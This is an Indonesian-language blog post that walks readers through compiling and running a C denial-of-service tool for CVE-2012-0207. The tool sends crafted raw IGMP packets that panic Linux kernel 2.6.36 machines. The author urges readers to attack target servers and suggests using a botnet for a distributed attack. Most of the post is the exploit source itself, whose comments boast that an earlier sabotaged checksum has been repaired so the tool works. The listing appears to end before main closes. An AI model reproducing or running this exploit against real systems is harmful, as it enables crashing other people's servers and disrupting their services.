Denial Of Service [DoS] Linux Kernel 2.6.36

Kali ini saya akan berbagi mengenai bagaimana cara DoS menggunakan tools berikut terhadap linux server. DOS kali ini akan menggunakan kelemahan pada bugs IGMP.

Oke yang perlu dipersiapkan adalah:

1. Siapkan server / pc untuk mengcompile source ddos.
2. Siapkan pc target linux, bisa random / yang memiliki kernel 2.6.36
3. Memulai attack 

Cara menjalankannya adalah

1. Simpan code dibawah ini dengan nama file: dos-linux.c
2. Compile source dibawah menggunakan gcc: gcc dos-linux.c -o attacklinux

Kemudian setelah selesai jalankan dengan perintah: ./attacklinux source_ip destination_ip , misal:./attacklinux 127.0.0.1 10.10.10.10

DoS dengan IGMP ini juga bisa dilakukan di DDOS, apabila kalian memiliki BOTNET 

Selamat mencoba semoga berhasil..

Berikut adalah code DoS tools:

1. /*
2. ** linux-undeadattack.c
3. ** Linux IGMP Remote Denial Of Service (Introduced in linux-2.6.36)
4. ** CVE-2012-0207
5. ** credits to Ben Hutchings:
6. ** http://womble.decadent.org.uk/blog/igmp-denial-of-service-in-linux-cve-2012-0207.html
7. ** THIS code wich can attack NOT just LAN, is NOT kcopes and, is based more on the ICMPv3 membership query bug... wich was for windows but also affects linux, in IMPv3 tho <img src="http://crazycoders.com/wp-includes/images/smilies/icon_razz.gif" alt=":P" class="wp-smiley">  go figure... anyhow, this can now be easily made into a very fast packet machine ,and since it doesnt care what the ips are, i guess could be seen results, remotely... feel free to update/send in comment... all comments, go thru ME, XD , before any type of publishing, so be sure that codes are safe and, i only put here, corrected codes...simple... so, please dont go adding it to your lame d0s collection coz, ill just fark it up , and, i mean, the packet is easy to block since it is released...right
8. XD loves u all
9. ** Example:
10. ** ./undeadattack SRC_IP DST_IP
11. ** The Linux Kernel at the remote side will Panic
12. ** when sent over the network -still in testing!
13. */
14. #include <stdio.h>
15. #include <string.h>
16. #include <stdlib.h>
17. #include <netinet/in.h>
18. #include <netdb.h>
19. #include <sys/time.h>
20. #include <sys/types.h>
21. #include <sys/socket.h>
22. #include <arpa/inet.h>
23. #include <unistd.h>
25. struct iphdr {
26.   unsigned char ihl:4, version:4, tos;
27.   unsigned short tot_len, id, frag_off;
28.   unsigned char ttl, protocol;
29.   unsigned short check;
30.   unsigned int saddr, daddr;
31.   unsigned int options1;
32.   unsigned int options2;
33. };
35. struct igmp_query {
36.         unsigned char type;
37.         unsigned char maxresponse;
38.         unsigned short csum;
39.         unsigned int mcast;
40.         char padding[40];
41. };
43. // unsigned short in_chksum(unsigned short *, int);  // removed by xd , thx for trying to cripple but no work
45. unsigned short in_chksum(unsigned short *addr, int len);         // this was crippled, notice that this was uptop, so you dd not see the
46.                                                                  // bugged up in_chksum wich wont make this works <img src="http://crazycoders.com/wp-includes/images/smilies/icon_smile.gif" alt=":)" class="wp-smiley">  NOW try it.
47. unsigned short in_chksum(unsigned short *addr, int len) {
48.    register int nleft = len;
49.    register int sum = 0;
50.    u_short answer = 0;
51.    while (nleft > 1) {
52.       sum += *addr++;
53.       nleft -= 2;
54.    }
55.    if (nleft == 1) {
56.       *(u_char *)(&answer) = *(u_char *)addr;
57.       sum += answer;
58.    }
59.    sum = (sum >> 16) + (sum & 0xffff);
60.    sum += (sum >> 16);
61.    answer = ~sum;
62.    return(answer);
63. }
65. long resolve(char *);
66. long resolve(char *host) {
67.   struct hostent *hst;
68.   long addr;
69.   hst = gethostbyname(host);
70.   if (hst == NULL)
71.     return(-1);
72.   memcpy(&addr, hst->h_addr, hst->h_length);
73.   return(addr);
74. }
76. int main(int argc, char *argv[]) {
77.   struct sockaddr_in dst;
78.   struct iphdr *ip;
79.   struct igmp_query *igmp;
80.   long daddr, saddr;
81.   int s, i=0, c, len, one=1;
82.   char buf[1500];
83.   if (argc < 3) {
84.     printf("Linux IGMP Remote Denial Of Service (Introduced in linux-2.6.36)\n"
85.    "credits to Ben Hutchings but this is NOT kcopes code nor firestorms so, author stays anon\n");
86.     printf("Usage: %s <src ip> <dst ip>\n", *argv); // yea, try any ip and see, i guess its worth a shot... or not <img src="http://crazycoders.com/wp-includes/images/smilies/icon_razz.gif" alt=":P" class="wp-smiley">
87.     return(1);
88.   }
89.   daddr = resolve(argv[2]);
90.   saddr = resolve(argv[1]);
91.   memset(buf, 0, 1500);
92.   ip = (struct iphdr *)&buf;
93.   igmp = (struct igmp_query*)&buf[sizeof(struct iphdr)];
94.   dst.sin_addr.s_addr = daddr;
95.   dst.sin_family = AF_INET;
96.   ip->ihl = 7;
97.   ip->version = 4;
98.   ip->tos = 0;
99.   ip->tot_len = htons(sizeof(struct iphdr)+8);
100.   ip->id = htons(18277);
101.   ip->frag_off=0;
102.   ip->ttl = 1;
103.   ip->protocol = IPPROTO_IGMP;
104.   ip->check = in_chksum((unsigned short *)ip, sizeof(struct iphdr));
105.   ip->saddr = saddr;
106.   ip->daddr = daddr;
107.   ip->options1 = 0;
108.   ip->options2 = 0;
109.   igmp->type = 0x11;
110.   igmp->maxresponse = 0xff;
111.   igmp->mcast=inet_addr("0.0.0.0");  // mod here ,now we can attack the IP we actually put in
112.   igmp->csum = 0; //For computing the checksum, the Checksum field is set to zero.
113.   igmp->csum=in_chksum((unsigned short *)igmp, 8);
114.   s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
115.   if (s == -1)
116.     return(1);
117.   printf("Sending IGMP packet: %s -> %s\n", argv[1], argv[2]);
118.       if (sendto(s,&buf,sizeof(struct iphdr)+8,0,(struct sockaddr *)&dst,sizeof(struct sockaddr_in)) == -1) {
119.         perror("Error sending packet");
120.         exit(-1);
121.       }
122.   close(s);
123.   s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
124.   if (s == -1)
125.     return(1);
126.   ip->id = htons(18278);
127.   ip->tot_len = sizeof(struct iphdr)+12;
128.   igmp->type = 0x11;
129.   igmp->maxresponse = 0;
130.   igmp->mcast=inet_addr("0.0.0.0");
131.   igmp->csum = 0; //For computing the checksum, the Checksum field is set to zero.
132.   igmp->csum=in_chksum((unsigned short *)igmp, 12);
133.   printf("Sending packet: %s -> %s\n", argv[1], argv[2]);
134.       if (sendto(s,&buf,sizeof(struct iphdr)+12,0,(struct sockaddr *)&dst,sizeof(struct sockaddr_in)) == -1) {
135.         perror("Error sending packet");
136.         exit(-1);
137.       }
138.   return(0);